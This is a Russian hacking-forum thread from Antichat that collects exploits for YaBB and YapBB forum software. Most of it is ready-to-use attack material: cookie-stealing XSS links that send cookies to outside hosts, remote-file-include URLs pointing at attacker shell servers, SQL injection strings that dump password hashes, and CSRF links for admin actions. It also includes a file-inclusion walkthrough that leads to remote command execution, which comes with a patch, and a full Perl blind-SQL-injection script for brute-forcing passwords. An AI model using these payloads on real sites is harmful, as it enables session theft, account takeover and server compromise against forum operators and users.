Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор Уязвимостей Yabb] (https://forum.antichat.xyz/showthread.php?t=26606)

_-[A.M.D]HiM@S-_ 05.11.2006 19:35

[Обзор Уязвимостей Yabb]
 
Начнёмс....

YaBB 1 Gold
Уязвимость в YaBB(http://www.yabb.org/) позволяет удаленному пользователю вставлять произвольный код сценария в страницы сообщения об ошибках. Уязвимость может использоваться для кражи опознавательных мандатов пользователей YaBB, хранящихся в куки.
Пример:
Код:

http://some.site.com/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script>
Описание:атакующий может сконструировать специальную ссылку, содержащую произвольный код сценария, при клике на которую код будет выполнен в браузере пользователя, кликнувшего на эту ссылку
Пример:
Код:

http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display;
num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d'%2b(document.cookie)%3b</Script>

YaBB 1.2
Пример:
Код:

http://site.com/yapBB/include/global.php?GLOBAL[includeBit]=1&cfgIncludeDirectory=http://attacer.com/
Код вставки :
PHP код:

$dire="/home";
$ob=opendir("$dire");
while(
$filen=readdir($ob)){
$dire2=realpath("$dire");
if ( 
is_dir("dire2/$filen") == TRUE ){$d="[Dir]";} else {$d=NULL;}
print 
"$d $filen 

"
;}
closedir($ob);
?> 

Видео:http://video.antichat.ru/download_183.html
YaBB 1.3.2
Описание:Злонамеренный пользователь может опубликовать сообщение, содержащее изображение, которое ссылается на URL, используемый при выполнении административных действий. В результате административное действие будет автоматически выполнено, когда администратор читает сообщения форума.
Пример:
Код:

http://[victim]/YaBB.pl?board=;action=modifycat;id=[cateogoryname];moda=Remove2
YaBB 1.4.0-1.4.1
Описание:Межсайтовый скрптинг обнаружен в сценарии входа в систему
Пример:
Код:

http://example.com/forums/index.php?
board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>
window.location.href(%22http://www.attackersite.example.com/hack.asp?%22%2Bdocument.cookie)</script>

Код:

http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display;
num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d'
%2b(document.cookie)%3b</Script>

SQL
Описание:Проблема обнаружена в сценарии Reminder.php.
Код:

http://www.myserver.com/yabbse/Reminder.php?
searchtype=esearch&user=[yourusername]'%20or%20memberName='[otherusername]

YaBB SE 1.5.1
Описание:Удаленный пользователь может выполнить XSS нападение.
Пример:
Код:

[glow=red);background:url(javascript:alert(document.cookie));filter:glow(color=red,2,300]Big Exploit[/glow]

[shadow=red);background:url(javascript:alert(document.cookie));filter:shadow(color=red,left,300]Big Exploit[/shadow]

YaBB SE 1.5.5c
Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии Sources/Profile.php
Возможность выполнять SQL команды в базе данных:
Пример:
[CODE]http://[host]/index.php?board=&action=viewprofile&user=YaBB SE 1.5.4, 1.5.5
Описание: Уязвимость обнаружена в параметре 'quote'
Пример:
Код:

http://localhost:8080/yabbse//inde
x.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply;
quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+ yabbse_members+where+ID_ME

YaBB SE 1.5.4, 1.5.3
Описание: Уязвимость обнаружена в YaBB SE в 'SSI.php'.
Пример:
Код:

http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)
+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+
lmr.ID_MEN+SELECT+ID_MEMBER,+
memberName,null,passwd,null,passwd,null,null,null,null,null,null+
FROM+yabbse_members+/*

Код:

http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER =1+OR+1=1)
+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_ME
ull,null+FROM+yabbse_members+/*

Код:

http://[target]/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)+GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+
Эксплоит: http://kolokol.ho.com.ua/exploit

YaBB 2
XSS
Позволяет украсть куки пользователей.
Код:

[U*L]http://www.[U*L=http://wj.com/style=display:none;background:url(javascript:docum  ent.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;) ]wj[/U*L][/U*L]
YaBB SE
SQL Error + XSS(passive 3шт.)
Код:

http://site/forum/index.php?board='
Код:

http://site/forum/index.php?board=1;action=display;threadid='
Код:

http://site/forum<script>alert()</script>
Код:

http://site/forumindex.php?board=1;action=icqpager;UIN=<script>alert()</script>
Код:

http://site/forumindex.php?board=1;action=post;threadid=1;quot e=2;title=net</title><script>alert("hacked%20by")</script>
(меняем заголовок страницы на "net" и закрывает тэг заголовка. так мы не светимся. а дальше скрипт для сниффера - как всегда)

Описание:Файл 'Packages.php' включает сценарий 'Packer.php
Пример:
Код:

http://[target]/yabbse/Sources/Packages.php?sourcedir=http://attacker/
P/s:Думаю полезно будет почитать:)
И неругайтесь сильно :(

_-[A.M.D]HiM@S-_ 22.01.2007 14:14

*************Внимание - Внимание*****************
Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
*************Внимание - Внимание*****************

*************Attention - Attention*****************
Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
*************Attention - Attention*****************

ettee 10.10.2007 00:35

include in mods autochecker
 
Базы инклудов + простой GET-чекер.
Download

Solide Snake 31.10.2007 20:18

YaBBSM 3.0.0 (Offline.php) Remote File Include Vulnerability

Код:

[DESCRIPTION] Remote file include vuln found by sZ [oct 09, 2006]
[SOFTWARE]    Supermod 3.0 for yabb
[VENDOR URL]  http://www.supermod.org
[DORK]        YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE
[NOTES]      greetz to: neo-vortex, sk0tie, icez, Solano College CIS students.
 

VULN:
Offline.php
include("$sourcedir/pclzip.lib.php");
They forgot to include settings.php, this file seems to not exist sometimes.
 
VULN:
Sources/Admin.php
include_once("$sourcedir/Recent.php");
 
VULN:
Sources/Offline.php
include_once("$sourcedir/Recent.php");
 
VULN:
content/portalshow.php
include_once "$sourcedir/Calendar.php";
 
[EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt?

# milw0rm.com [2006-10-13]


iddqd 27.12.2007 01:57

YaBB YaBB.pl IMSend Cross-Site Scripting Vulnerability
 
Код:

http://www.example.com/YaBB.pl?board=;action=imsend;to=%22%3E%3Cscript%3Ealert(document  .cookie)%3C/script%3E

Elekt 12.01.2008 16:43

_http://www.securitylab.ru/vulnerability/298015.php

21 июня, 2007
Программа: YaBB 2.1, возможно более ранние версии.

Опасность: Низкая

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "userlanguage" в сценарии YaBB.pl. Злоумышленник может просмотреть содержимое определенных файлов на системе. Для удачной эксплуатации уязвимости злоумышленнику требуется валидная учетная запись в приложении а также консоль или доступ по FTP к системе.

======

Может найдется желающий разобраться как работет баг и довести дело до конца(всмысле до эксплоита)?

iddqd 20.01.2008 02:30

Дополнение к предыдущему посту - Local File Include Vulnerabilities in YaBB <= 2.1
 
Уязвимость присутствует в переменной $language, которую пользователь может менять в своем профиле.

Уязвимые скрипты, содержащие переменную $language:

Sources/HelpCentre.pl, строка 139

Код:

if (-e ("$helpfile/$language/$help_area/$line.help")) {
                      require "$helpfile/$language/$help_area/$line.help";
}

Sources/Subs.pl, строка 1529

Код:

if (-e "$langdir/$use_lang/$what_to_load.lng") {
      require "$langdir/$use_lang/$what_to_load.lng";
}

Sources/ICQPager.pl, строка 21

Код:

if ($language) { require "$langdir/$language/ICQ.lng"; }
Sources/Post.pl, строка 1838

Код:

if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/Post.pl, строка 1863

Код:

if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/Post.pl, строка 1880

Код:

if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/InstantMessage.pl, строка 1080

Код:

if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/InstantMessage.lng"; }
Sources/InstantMessage.pl, строка 1082

Код:

if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/Main.lng"; }
Exploit

Как было указано в предыдущем посте, для успешной эксплуатации уязвимости необходим доступ по FTP или SSH.
Нужно изменить содержимое файла English/HelpCentre.lng
с:
Код:

%helptxt = (
              '1' => "Help Section",
              '2' => "Contents",

на:
Код:

$content="<br><br><br><br><font color=red>";
              $content.=`$INFO{'cmd'}`;
              $content.
="</font><br><br><br><br>";
              %helptxt = (
              '1' => "Help Section",
              '2' => $content,

Далее в профиле пользователя меняем значение параметра 'userlanguage' на:

"../../путь/до/папки/English/"

С помощью браузера переходим в раздел "Help":

http://site.com/yabb2/YaBB.pl?action=help

С помощью дописанной нами переменной 'cmd' можно выполнять произвольные команды на сервере:

http://site.com/yabb2/YaBB.pl?action=help&cmd=id

http://site.com/yabb2/YaBB.pl?action=help&cmd=uname%
20-a

и т.п.

Патч


Для исправления уязвимости необходимо ввести фильтрацию переменной 'userlanguage' в модуле профиля пользователя.
Для этого вносим изменения в код скрипта

Sources/Profile.pl, строка 1225:

этот кусок кода
Код:

if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@/]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }

меняем на:

Код:

if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }

Теперь в переменной 'userlanguage' будет фильтоваться символ /, что предотвратит возможность инклуда.

iddqd 23.01.2008 16:27

YaBB SE <= 1.5.5 Remote Command Execution
 
Remote Command Execution

Vulnerable: YaBB SE <= 1.5.5

Exploit:

http://milw0rm.com/exploits/4963

[x60]unu 08.11.2009 23:58

YapBB <= 1.2 Blind SQL Injection Exploit
Код:

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage
{
        die "\nYapBB <= 1.2 Blind SQL Injection Exploit".
            "\n[?] Author  : darkjoker".
            "\n[?] Site    : http://darkjoker.net23.net".
            "\n[?] CMS Site: http://yapbb.sourceforge.net/".
            "\n[?] Usage  : perl ${0} <hostname> <path> <username> [<key_list>]".
            "\n[?] Ex.    : perl ${0} localhost /YapBB root abcdefghijklmnopqrstuvwxyz".
            "\n\n";
}

sub query
{
        my ($user, $chr, $pos) = @_;
        my $query = "123 OR IF ((ASCII(SUBSTRING((SELECT password FROM ".
        "forum_user WHERE nickname = '${user}'),${pos},1))=${chr}),BENCHMARK(200000000,CHAR(0)),0)";
        $query =~ s/ /%20/g;
        $query =~ s/'/%27/g;
        return $query;
}

sub exploit
{
        my ($hostname, $path, $user, $chr, $pos) = @_;
        $chr = ord ($chr);
        my $sock = new IO::Socket::INET (
                                                PeerHost => $hostname,
                                                PeerPort => 80,
                                                Proto    => "tcp"
                                        ) or die "\n[!] Exploit failed.\n\n";

        my $query = query ($user, $chr, $pos);
        my $request = "GET ${path}/forumhop.php?action=next&forumID=${query} HTTP/1.1\r\n".
                      "Host: ${hostname}\r\n".
                      "Connection: Close\r\n\r\n";
       
        my $a = time ();
        print $sock $request;
        $_++ while (<$sock>);
        $a = ($a - time ()) * -1;
        close ($sock);

        return 1 if ($a > 4);
        return 0;
}
               
my ($hostname, $path, $user, $k_list) = @ARGV;
usage unless ($user);
my @key = split ("", ($k_list) ? $k_list : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
my $chr = 0;
my $pos = 1;
my $password;
while ($chr < scalar (@key))
{
        if (exploit ($hostname, $path, $user, $key [$chr], $pos))
        {
                $password .= $key [$chr];
                $chr = 0;
                $pos++;
        }
        else
        {
                $chr++;
        }
}

print "\n[+] Password: ${password}\n\n";



Время: 03:38